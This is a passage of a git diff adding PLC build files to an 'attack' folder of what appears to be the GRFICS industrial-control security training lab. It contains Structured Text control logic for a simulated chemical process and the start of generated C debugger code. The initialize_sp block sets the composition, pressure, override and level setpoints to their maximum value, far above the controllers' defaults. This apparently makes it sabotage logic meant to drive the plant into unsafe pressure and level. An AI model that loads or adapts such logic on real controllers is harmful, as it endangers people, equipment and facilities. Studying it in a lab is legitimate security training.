scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), 